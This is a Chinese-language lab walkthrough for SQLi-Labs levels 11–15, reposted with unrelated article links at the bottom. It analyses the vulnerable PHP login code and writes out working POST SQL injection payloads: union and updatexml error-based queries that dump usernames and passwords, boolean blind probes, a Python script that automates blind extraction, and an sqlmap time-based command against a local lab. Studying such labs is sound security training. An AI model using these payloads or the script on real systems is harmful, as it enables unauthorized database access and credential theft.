SQL-Labs靶场“11-15”关通关教程

君衍.

  • 一、十一关 基于POST单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 二、十二关 基于POST双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 三、十三关 基于POST单引号报错注入变形
    • 1、源码分析
    • 2、报错注入
  • 四、十四关 基于POST双引号报错注入
    • 1、源码分析
    • 2、报错注入
  • 五、十五关 基于POST单引号布尔型时间盲注
    • 1、源码分析
    • 2、布尔盲注(手动)
    • 2、布尔盲注(脚本)
    • 3、时间盲注(sqlmap)

一、十一关 基于POST单引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘x’

在这里插入图片描述
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:

在这里插入图片描述
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。

1、源码分析

# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	···
	# 使用单引号进行拼接SQL
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  		···
		//echo " You Have successfully logged in\n\n " ;
		···
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];
		···
		echo '<img src="../images/flag.jpg"  />';	
  	}
	else  
	{
		···
		//echo "Try again looser";
		# 输出报错信息
		print_r(mysqli_error($con1));
		···
		echo '<img src="../images/slap.jpg" />';	
		···
	}
}

我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa' order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述
可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa' order by 2#
aaaa

在这里插入图片描述
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据:

aaaa' union select group_concat(username,password),2 from users#
aaaa

在这里插入图片描述
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa' union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述
数据库的表名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述
然后看users可疑查users的列名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述
接着看见username以及password继续查数据:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述
我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述
接着我们变值就结束了:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

二、十二关 基于POST双引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=(“x”)

这里注入点判断的方法和第十一关是一样的。

1、源码分析

···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa") order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述

可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa") order by 2#
aaaa

在这里插入图片描述

可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据(下面只展示username就行,password不填了,懒得填反正都注释掉了):

aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

三、十三关 基于POST单引号报错注入变形

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=(‘x’)

在这里插入图片描述
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
在这里插入图片描述
所以这里联合查询是无法使用。

1、源码分析

···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
 	···
	//echo " You Have successfully logged in " ;
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	//echo "<br>";
	···
	echo '<img src="../images/flag.jpg"   />';	
 	}
else  
{
	···
	//echo "Try again looser";
	print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
}

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

四、十四关 基于POST双引号报错注入

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=“x”

这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。

1、源码分析

···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

五、十五关 基于POST单引号布尔型时间盲注

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=‘x’

当然,首先我们查找注入点:
设置username=aaaa’:
在这里插入图片描述
我们发现并没有产生报错,接着我们逃逸让其登录成功:
在这里插入图片描述
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。

1、源码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

if($row)
{
 	···
	//echo " You Have successfully logged in\n\n " ;
	···
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	···
	echo '<img src="../images/flag.jpg"  />';	
 	}
else  
{
	···
	//echo "Try again looser";
	//print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
	···
}

这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
在这里插入图片描述

2、布尔盲注(手动)

下面我们构建payload进行比较数据库名的第一个字符的ascii值:

admin1' and ascii(substr(database(),1,1))>100#

在这里插入图片描述
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:

admin1' and ascii(substr(database(),1,1))>120#

在这里插入图片描述
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。

2、布尔盲注(脚本)

相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {
                "uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-15/index.php'
    inject_database(url)

也是我们经常强调的,URL必须填写正确,然后执行:
在这里插入图片描述
便可完成注入,接着注入数据时,更换payload即可。

3、时间盲注(sqlmap)

下面我们依然是直接加上参数进行注入:

sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

可能会用到以下参数:

  • -r 读取抓包文件
  • -p 需要检测的参数
  • –technique 需要检测的注入方式
  • E 基于报错的注入
  • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • –batch 默认选择
  • –threads 线程数
  • -data 传入post参数(免去抓包)

紧接着我们执行之后:
在这里插入图片描述
在这里插入图片描述

它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/392463.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PWM驱动直流电机

一、知识补充; 低频时有蜂鸣器响声&#xff0c;加大PWM频率&#xff0c;超出人耳范围就可以听不到&#xff0c;20Hz~20kHz 加大频率-->减小预分频器&#xff0c;从720-->36现在频率就是20kHz这样不会影响占空比&#xff1f; 二、接线图 三、代码分析 main,c #include…

批量采集网站产品图并生成对应EXCEL

运营的小哥需要批量采集某网站的产品大图产品标题&#xff0c;粗略看了看是shopfy的网站&#xff0c;数据大概1000多点&#xff0c;需求嘛就是需要生成带图的cxcel文档&#xff0c;想想去折腾个程序太浪费时间了&#xff0c;何况不会python就另辟蹊径了。 用到了后羿采集器&am…

rust函数 stuct struct方法 关联函数

本文结合2个代码实例主要介绍了rust函数定义方法&#xff0c;struct结构体定义、struct方法及关联函数等相关基础知识。 代码1&#xff1a; main.rc #[derive(Debug)]//定义一个结构体 struct Ellipse {max_semi_axis: u32,min_semi_axis: u32, }fn main() {//椭圆&#xff0…

大数据01-导论

零、文章目录 大数据01-导论 1、数据与数据分析 **数据&#xff1a;是事实或观察的结果&#xff0c;是对客观事物的逻辑归纳&#xff0c;是用于表示客观事物的未经加工的原始素材。**数据可以是连续的值&#xff0c;比如声音、图像&#xff0c;称为模拟数据&#xff1b;也可…

电阻器的脉冲浪涌能力?

由于现有需求&#xff0c;许多现代电子电路和设备都会经历瞬态脉冲和浪涌。这反过来又导致需要“设计”瞬态浪涌保护&#xff0c;尤其是在电机控制器等电路中。当电机启动时&#xff0c;此时消耗的电流过大&#xff0c;可能导致电阻器故障。同样&#xff0c;如果电容器用于电机…

2023-CVPR-Adjustment and Alignment for Unbiased Open Set Domain Adaptation

Adjustment and Alignment (ANNA) Front-Door Adjustment&#xff1a;类似二分类交叉熵&#xff0c;令概率接近1&#xff0c;以降低损失 Decoupled Causal Alignment&#xff1a;类似多分类交叉熵&#xff0c;令概率接近标签M

差异分析和PPI网路图绘制教程

写在前面 在原文中&#xff0c;作者获得285个DEG&#xff0c;在此推文中共获得601个DEG。小杜的猜想是标准化的水段不同的原因吧&#xff0c;或是其他的原因。此外&#xff0c;惊奇的发现发表医学类的文章在附件中都不提供相关的信息文件&#xff0c;如DEG数据、GO、KEGG富集信…

【教3妹学编程-算法题】N 叉树的前序遍历

2哥 : 叮铃铃&#xff0c;3妹&#xff0c;准备复工了啊&#xff0c;过年干嘛呢&#xff0c;是不是逛吃逛吃&#xff0c;有没有长胖呢。 3妹&#xff1a;切&#xff0c;不想上班&#xff0c;假期能不能重来一遍啊&#xff0c;虽然在家我妈张罗着要给我相亲呢。可是在家还是很好的…

Linux CentOS stream 9 安装docker

在计算机技术中,虑拟化是一种资源管理技术,是将计算机的各种实体资源(CPU、内存、磁盘空间、网络适配器等),予以抽象、转换后呈现出来并可供分区、组合为一个或多个电脑配置环境。 目前,大多数服务器的容量的利用率不足15%,这导致服务器数量激增以及增加了复杂性。服务…

SG5032EEN晶体振荡器SPXO

5G将使通信流量呈指数级增长&#xff0c;5G通信网络需要高速和宽带&#xff0c;同时将噪声水平保持在最低水平&#xff0c;这可以通过通信设备的高频低抖动参考时钟来实现&#xff0c;使用上述晶体振荡器SPXO&#xff0c;客户可以输入一个具有极低相位抖动和功率的高频参考时钟…

《Go 简易速速上手小册》第3章:数据结构(2024 最新版)

文章目录 3.1 数组与切片&#xff1a;Go 语言的动态队伍3.1.1 基础知识讲解3.1.2 重点案例&#xff1a;动态成绩单功能描述实现代码扩展功能 3.1.3 拓展案例 1&#xff1a;数据分析功能描述实现代码扩展功能 3.1.4 拓展案例 2&#xff1a;日志过滤器功能描述实现代码扩展功能 3…

鸿蒙开发者预览版如何?

在24年的华为鸿蒙发布会中表示。预览版已经向开发者开放申请&#xff0c;首批支持的机型有三款分别为华为 Mate 60、华为Mate 60 Pro、华为Mate X5。 其HarmonyOS NEXT去除Linux内核以及AOSP代码&#xff0c;采用的鸿蒙内核以及代码&#xff0c;HarmonyOS NEXT系统仅支持鸿蒙内…

MySQL数据库基础(四):图形化开发工具DataGrip

文章目录 图形化开发工具DataGrip 一、DataGrip介绍 二、DataGrip安装 三、创建工程 四、连接数据库 五、选择要使用的数据库 六、DataGrip软件设置 1、设置字体大小 2、设置关键字大写 3、自动排版 图形化开发工具DataGrip 一、DataGrip介绍 DataGrip是JetBrains公…

用于图像处理的Python顶级库 !!

文章目录 前言 1、OpenCV 2、Scikit-Image 3、Scipy 4、Python Image Library&#xff08;Pillow / PIL&#xff09; 5、Matplotlib 6、SimpleITK 7、Numpy 8、Mahotas 前言 正如IDC所指出的&#xff0c;数字信息将飙升至175ZB&#xff0c;而这些信息中的巨大一部分是图片。数…

综合交易模型教程---qmt实盘链接,提供源代码

综合交易模型教程---qmt实盘链接&#xff0c;提供源代码 Original L1511732 数据分析与运用 2024-02-17 00:13 贵州 目前框架实盘全部完成了&#xff0c;后面写教程&#xff0c;每一个函数怎么样使用&#xff0c;怎么样开发自己的策略 模拟盘现在登录不了我直接实盘展示 后面…

FLUENT Meshing Watertight Geometry工作流入门 - 8 添加边界层网格

本视频中学到的内容&#xff1a; 如何使用 “添加边界层”任务生成边界层网格边界层网格在流体动力学中的重要性可用于添加边界层网格的方法以及所需的用户输入 视频链接&#xff1a; FLUENT Meshing入门教程-8添加边界层网格_哔哩哔哩_bilibili 流体动力学中边界层的概念及…

备战蓝桥杯---图论之最小生成树

首先&#xff0c;什么是最小生成树&#xff1f; 他就是无向图G中的所有生成树中树枝权值总和最小的。 如何求&#xff1f; 我们不妨采用以下的贪心策略&#xff1a; Prim算法&#xff08;复杂度&#xff1a;&#xff08;nm)logm)&#xff1a; 我们对于把上述的点看成两个集…

SNMPv1/v2c-原理浅谈+报文示例+简易配置

个人认为&#xff0c;理解报文就理解了协议。通过报文中的字段可以理解协议在交互过程中相关传递的信息&#xff0c;更加便于理解协议。 因此本文将在SNMP协议报文的基础上进行介绍。 SNMPv1版本相关RFC SNMPv2版本相关RFC 关于 Community-based SNMPv2 的基本原理&#xff…

docker部署Gogs安装

简介 Gogs 的目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务。使用 Go 语言开发使得 Gogs 能够通过独立的二进制分发,并且支持 Go 语言支持的 所有平台,包括 Linux、Mac OS X、Windows 以及 ARM 平台。 非docker下载 https://dl.gogs.io/ #根据需要的版本下…

jwt+redis实现登录认证

项目环境&#xff1a;spring boot项目 pom.xml引入jwt和redis <!-- jwt --><dependency><groupId>com.auth0</groupId><artifactId>java-jwt</artifactId><version>4.3.0</version></dependency><!-- redis坐标-->…